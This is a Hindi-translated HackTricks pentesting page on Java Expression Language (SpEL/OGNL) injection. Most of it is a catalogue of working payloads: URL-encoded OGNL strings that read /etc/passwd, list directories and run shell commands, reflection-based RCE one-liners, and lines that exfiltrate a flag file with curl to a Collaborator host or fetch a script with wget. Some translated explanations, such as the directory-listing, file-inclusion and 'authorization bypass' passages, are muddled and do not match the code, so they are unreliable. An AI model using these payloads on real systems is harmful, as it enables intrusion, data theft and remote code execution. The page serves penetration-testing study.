hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

268 lines
26 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# EL - व्याख्यान भाषा
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपना योगदान दें**
</details>
## मूलभूत जानकारी
EL एक महत्वपूर्ण तंत्र प्रदान करता है जो प्रस्तुति परत (वेब पृष्ठ) को अनुप्रयोग तार्किक (प्रबंधित बीन) के साथ संवाद करने की क्षमता प्रदान करने के लिए उपयोग किया जाता है।
### इसका उपयोग कहां होता है?
1. **स्प्रिंग फ्रेमवर्क**: सुरक्षा, डेटा, ...
2. **SpEL API** द्वारा उपयोग करने वाले डेवलपर्स द्वारा इसका उपयोग किया जाता है
3. इसका उपयोग जावा, कोटलिन, स्काला और अन्य JVM आधारित प्रौद्योगिकियों में किया जा सकता है।
EL का उपयोग **कई JavaEE प्रौद्योगिकियों** द्वारा किया जाता है, जैसे JavaServer Faces प्रौद्योगिकी, JavaServer Pages (JSP) प्रौद्योगिकी, और Java EE के लिए संदर्भ और आवश्यकता प्रवाहन का इंजेक्शन (CDI)। EL का उपयोग स्वतंत्र माहौलों में भी किया जा सकता है।
जावा अनुप्रयोगों को **आसानी से पहचाना जा सकता है** क्योंकि वे आमतौर पर **.jsp** या **.jsf** जैसी एक्सटेंशन का उपयोग करते हैं, **स्टैक त्रुटियाँ** फेंकते हैं और **हैडर में "सर्वलेट" जैसे शब्द का उपयोग** करते हैं।
{% hint style="info" %}
**EL संस्करण** के आधार पर कुछ **विशेषताएं** सक्षम या अक्षम हो सकती हैं और आमतौर पर कुछ **वर्ण** **अनुमति नहीं** हो सकते हैं।
{% endhint %}
## मूल उदाहरण
(आप यहां [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/) में EL के बारे में एक और रोचक ट्यूटोरियल खोज सकते हैं)
[**Maven**](https://mvnrepository.com) रेपोजिटरी से जार फ़ाइलें डाउनलोड करें:
* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`
और निम्नलिखित `Main.java` फ़ाइल बनाएं:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
अगले कदम में कोड को कंपाइल करें (यदि आपके पास `javac` स्थापित नहीं है, तो `sudo apt install default-jdk` स्थापित करें):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
एप्लिकेशन को निम्न आदेश के साथ चलाएं:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
ध्यान दें कि पिछले उदाहरण में शब्द `{5*5}` **मूल्यांकन** किया गया था।
## **CVE उदाहरण**
आपने पहले से देख लिया है कि आपको पता है कि क्या आ रहा है। यदि डेवलपर्स SpEL का उपयोग उपयोगकर्ता इनपुट के साथ कर रहे हैं, तो हमें संक्रमण के साथ पेलोड बनाने की आवश्यकता होती है। चलो एक ऐसा चेक करें जो दूरस्थ कोड निष्पादन (RCE) की अनुमति देता है। यह [CVE-20178046](https://github.com/m3ssap0/SpringBreakVulnerableApp) के लिए उत्पन्न एक उत्पाद का हिस्सा था।
![Image for post](https://miro.medium.com/max/1933/1\*qyl6ZLeJOyXmxmdqMcT8tg.png)
इसमें 3 भाग हैं:
* काले रंग - HTTP अनुरोध के आउटपुट स्ट्रीम में कमांड निष्पादन के परिणाम की प्रतिलिपि करें
* लाल रंग - जावा रनटाइम प्राप्त करें और सिस्टम में कमांड निष्पादित करें
* नीले रंग - कमांड को संग्रहित करने वाला स्ट्रिंग: `cmd /c dir`। इसे और मजबूत बनाने के लिए कमांड के व्यक्तिगत अक्षरों को संख्याओं से डिकोड किया जाता है।
इसे निष्पादित करने का परिणाम:
![Image for post](https://miro.medium.com/max/982/1\*APSYwU3qbw0rNJAd2xhdNA.png)
## पेलोड
### मूल क्रियाएँ
```bash
#Basic string operations examples
{"a".toString()}
[a]
{"dfd".replace("d","x")}
[xfx]
#Access to the String class
{"".getClass()}
[class java.lang.String]
#Access ro the String class bypassing "getClass"
#{""["class"]}
#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]
#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### पता लगाना
* बर्प का पता लगाना
```bash
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
* J2EE पता लगाना
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* सोना 10 सेकंड
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### रिमोट फ़ाइल सम्मिलन
Remote File Inclusion (रिमोट फ़ाइल सम्मिलन) एक सुरक्षा गड़बड़ी है जो वेब अनुप्रयोगों में पायी जा सकती है। इस तकनीक का उपयोग करके, हैकर एक दूसरे सर्वर पर स्थित फ़ाइलों को अनुप्रयोग में सम्मिलित कर सकते हैं। यह एक सुरक्षा खतरा पैदा कर सकता है क्योंकि इसके माध्यम से हैकर अनुप्रयोग को नुकसान पहुंचा सकते हैं और उसके लिए अनधिकृत एक्सेस प्राप्त कर सकते हैं।
यह तकनीक आमतौर पर वेब अनुप्रयोगों में उपयोग होने वाले सर्वर साइड टेम्पलेट इंजेक्शन (Server-Side Template Injection) के साथ जुड़ी होती है। इसमें एक हमलावर एक्सप्रेशन भाषा का उपयोग करता है, जैसे कि एल एक्सप्रेशन भाषा (EL Expression Language) जो जावा वेब अनुप्रयोगों में उपयोग होती है। एल एक्सप्रेशन भाषा के माध्यम से, हैकर वेब अनुप्रयोग के संदर्भ में वापसी करने के लिए एक रिमोट फ़ाइल का उपयोग कर सकता है।
इस तकनीक का उपयोग करके, हैकर एक अनुप्रयोग में एक रिमोट फ़ाइल को सम्मिलित कर सकता है और इसके परिणामस्वरूप उसे अनधिकृत एक्सेस प्राप्त कर सकता है। यह उन्हें अनुप्रयोग के संदर्भ में वापसी करने की अनुमति देता है और उन्हें अनुप्रयोग के साथ विभिन्न कार्रवाईयों को करने की अनुमति देता है, जैसे कि डेटाबेस तक पहुंच, फ़ाइल सिस्टम तक पहुंच, और अन्य संबंधित कार्रवाइयों को करने की अनुमति।
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### निर्देशिका सूची
एक निर्देशिका सूची वेब सर्वर पर उपलब्ध फ़ाइलों और निर्देशिकाओं की सूची होती है। यह जानने के लिए महत्वपूर्ण हो सकता है कि किसी वेब साइट पर कौन-कौन सी फ़ाइलें और निर्देशिकाएं हैं और इनका उपयोग कैसे किया जा सकता है। निर्देशिका सूची के माध्यम से, हैकर वेब साइट की संरचना और विशेषताओं को समझ सकता है और संभावित गड़बड़ी की खोज कर सकता है।
एक निर्देशिका सूची को प्राप्त करने के लिए, हैकर वेब सर्वर के रिसोर्स पथ के साथ एक HTTP GET अनुरोध भेजता है। वेब सर्वर उस अनुरोध का प्रसंस्करण करता है और उपयुक्त निर्देशिका और फ़ाइलों की सूची को उत्पन्न करता है। यह सूची उत्पन्न करने के लिए वेब सर्वर द्वारा उपयोग की जाने वाली विशेष तकनीकों पर निर्भर करती है।
निर्देशिका सूची एक महत्वपूर्ण जानकारी स्रोत हो सकती है जो हैकर को वेब साइट के विभिन्न हिस्सों और संरचनाओं के बारे में जानकारी प्रदान कर सकती है। इसके अलावा, निर्देशिका सूची द्वारा उपलब्ध फ़ाइलों और निर्देशिकाओं के बारे में जानकारी हैकर को वेब साइट के सुरक्षा की कमजोरियों को खोजने में मदद कर सकती है।
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
### RCE
* मूलभूत RCE **व्याख्या**
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
* RCE **लिनक्स**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* RCE **Windows** (टेस्ट नहीं किया गया)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* **अधिक RCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### पर्यावरण की जांच करना
* `applicationScope` - वैश्विक अनुप्रयोग चरों
* `requestScope` - अनुरोध चरों
* `initParam` - अनुप्रयोग प्रारंभीकरण चरों
* `sessionScope` - सत्र चरों
* `param.X` - X एक HTTP पैरामीटर का नाम है जहां X पैरामीटर मान है
आपको इन चरों को स्ट्रिंग में कास्ट करने की आवश्यकता होगी, जैसे:
```bash
${sessionScope.toString()}
```
#### अधिकृतता बाइपास का उदाहरण
```java
${7*7}
```
इस उदाहरण में, हम एक अधिकृतता बाइपास तकनीक का उपयोग करके एक अद्यतित एक्सप्रेशन भेजते हैं। यहां, हम `${7*7}` एक्सप्रेशन का उपयोग कर रहे हैं जो एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) हो सकता है। जब यह एक्सप्रेशन सर्वर पर निष्पादित होता है, तो यह `49` के बराबर हो जाता है। इस तरह, हम अधिकृतता की जरूरत के बिना एक एक्सप्रेशन को सफलतापूर्वक निष्पादित करते हैं।
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
एप्लिकेशन अनुकूलन भी कस्टम चरों का उपयोग कर सकता है जैसे:
```bash
${user}
${password}
${employee.FirstName}
```
## WAF बाईपास
[https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/) की जांच करें
## संदर्भ
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **[💬](https://emojipedia.org/speech-balloon/) Discord समूह** या **[telegram समूह](https://t.me/peass)** में शामिल हों या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** अनुसरण करें।
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपना योगदान दें।**
</details>